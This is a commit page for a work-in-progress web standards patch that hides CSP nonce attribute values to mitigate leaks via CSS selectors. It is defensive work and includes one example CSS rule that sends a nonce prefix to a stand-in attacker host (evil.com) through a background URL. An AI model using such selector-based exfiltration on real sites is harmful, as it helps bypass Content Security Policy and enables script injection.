Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
WIP: Hide nonce content attribute values. (#2369)
We've seen some recent attacks on CSP which rely on the ability to exfiltrate nonce data via various mechanisms that can grab data from content attributes. CSS selectors are the best example: through clever use of prefix/postfix text matching selectors values can be sent out to an attacker's server for reuse (e.g. `script[nonce=a] { background: url("https://evil.com/nonce?a");}`). This patch makes some changes to mitigate this risk by hiding the nonce value from relevant element's content attributes: 1. When parsing an element with a `nonce` attribute, the content attribute's value is copied into an internal slot on the element, and overwritten with the empty string. 2. The `nonce` IDL attribute's getter returns the value of the internal slot, and its setter updates the internal slot's value. 3. The internal slot's value is used to populate the cryptographic nonce metadata used by Fetch when making requests. WIP: This patch doesn't actually do the above yet. It only adjusts the <link> element in the hopes of sparking conversation about how this feature should actually work. Does it look reasonable? Should we replicate the steps for each element type that has a nonce, or move it up the chain to something like Node?
- Loading branch information